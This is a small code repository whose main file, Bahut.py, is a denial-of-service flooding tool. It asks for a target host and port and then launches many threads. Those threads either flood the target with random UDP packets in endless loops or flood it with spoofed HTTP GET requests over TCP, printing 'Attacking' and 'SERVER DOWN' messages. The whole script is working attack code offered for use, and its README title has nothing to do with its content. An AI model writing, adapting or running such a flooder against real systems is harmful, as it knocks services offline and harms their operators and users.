├── README.md └── Bahut.py /README.md: -------------------------------------------------------------------------------- 1 | # bismilah-keras -------------------------------------------------------------------------------- /Bahut.py: -------------------------------------------------------------------------------- 1 | import signal 2 | import time 3 | import socket 4 | import random 5 | import threading 6 | import sys 7 | import os 8 | from os import system, name 9 | 10 | useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1","Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1","Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 11 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", 12 | "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 13 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2", 14 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0", 15 | "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", 16 | "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 17 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 18 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", 19 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", 20 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", 21 | "Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0", 22 | "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)", 23 | "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016"] 24 | ref=['http://www.bing.com/search?q=', 25 | 'https://www.yandex.com/yandsearch?text=', 26 | 'https://duckduckgo.com/?q='] 27 | acceptall=["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", 28 | "Accept-Encoding: gzip, deflate\r\n", 29 | "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", 30 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n", 31 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n", 32 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n", 33 | "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n" 34 | "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", 35 | "Accept-Language: en-US,en;q=0.5\r\n"] 36 | 37 | os.system("clear") 38 | print("UBAH INI") 39 | print("\033[0m") 40 | ip = str(input("[ ====> ] HOST/IP: ")) 41 | port = int(input("[ ====> ] PORT : ")) 42 | choice = str(input("[ ====> ] Method UDP | TCP : ")) 43 | times = int(input("[ ====> ] PACKETS : ")) 44 | threads = int(input("[ ====> ] ISI PACKETS : ")) 45 | os.system("clear") 46 | def run(): 47 | data = random._urandom(1800) 48 | i = random.choice(("[•]","[•]","[•]")) 49 | while True: 50 | try: 51 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 52 | addr = (str(ip),int(port)) 53 | for x in range(times): 54 | s.sendto(data,addr) 55 | print(i +" PACKETS FROM XALBADOR!!!") 56 | except: 57 | s.close() 58 | print("[!] SERVER DOWN!!!") 59 | 60 | def run2(): 61 | data = random._urandom(1025) 62 | i = random.choice(("[•]","[•]","[•]")) 63 | while True: 64 | try: 65 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 66 | addr = (str(ip),int(port)) 67 | for x in range(times): 68 | s.sendto(data,addr) 69 | print(i +" PACKETS FROM XALBADOR!!!") 70 | except: 71 | s.close() 72 | print("[!] SERVER DOWN!!!") 73 | 74 | 75 | def run3(): 76 | global useragents, ref, acceptall 77 | hh = random._urandom(1025) 78 | xx = int(0) 79 | useragen = "User-Agent: "+random.choice(useragents)+"\r\n" 80 | accept = random.choice(acceptall) 81 | reffer = "Referer: "+random.choice(ref)+str(ip) + "\r\n" 82 | content = "Content-Type: application/x-www-form-urlencoded\r\n" 83 | length = "Content-Length: 0 \r\nConnection: Keep-Alive\r\n" 84 | target_host = "GET / HTTP/1.1\r\nHost: {0}:{1}\r\n".format(str(ip), int(port)) 85 | main_req = target_host + useragen + accept + reffer + content + length + "\r\n" 86 | while True: 87 | try: 88 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 89 | s.connect((str(ip),int(port))) 90 | s.send(str.encode(main_req)) 91 | for i in range(pack): 92 | s.send(str.encode(main_req)) 93 | xx += random.randint(0, int(pack)) 94 | print("[+] Attacking {0}:{1} | Sent: {2}".format(str(ip), int(port), xx)) 95 | except: 96 | s.close() 97 | print('[+] SERVER DOWN!!!') 98 | 99 | for x in range(threads): 100 | if choice == 'TCP': 101 | th = threading.Thread(target = run3) 102 | th.start() 103 | 104 | for x in range(threads): 105 | if choice == 'UDP': 106 | th = threading.Thread(target = run) 107 | th.start() 108 | else: 109 | th = threading.Thread(target = run2) 110 | th.start() 111 | 112 | def new(): 113 | for x in range(threads): 114 | if choice == 'UDP': 115 | th = threading.Thread(target = run) 116 | th.start() 117 | else: 118 | th = threading.Thread(target = run2) 119 | th.start() 120 | 121 | def new2(): 122 | for x in range(threads): 123 | if choice == 'TCP': 124 | th = threading.Thread(target = run3) 125 | th.start() 126 | 127 | def whereuwere(): 128 | print("TCP or UDP") 129 | print("Put 1 for UDP and 2 for TCP") 130 | whereman = str(input(" 1 or 2 >:(")) 131 | if whereman == '1': 132 | run() 133 | else: 134 | run2() 135 | 136 | def clear(): 137 | if name == 'nt': 138 | _ = system('cls') 139 | 140 | else: 141 | _ = system('clear') 142 | 143 | def byebye(): 144 | clear() 145 | os.system("figlet Youre Leaving Sir -f slant") 146 | sys.exit(130) 147 | 148 | def exit_gracefully(signum, frame): 149 | signal.signal(signal.SIGINT, original_sigint) 150 | 151 | try: 152 | exitc = str(input(" Ngapain Close Lagi Lah <3 ?:")) 153 | if exitc == 'y': 154 | 155 | byebye() 156 | 157 | except KeyboardInterrupt: 158 | print("Ok ok, quitting") 159 | byebye() 160 | 161 | signal.signal(signal.SIGINT, exit_gracefully) 162 | 163 | if __name__ == '__main__': 164 | 165 | original_sigint = signal.getsignal(signal.SIGINT) 166 | signal.signal(signal.SIGINT, exit_gracefully) --------------------------------------------------------------------------------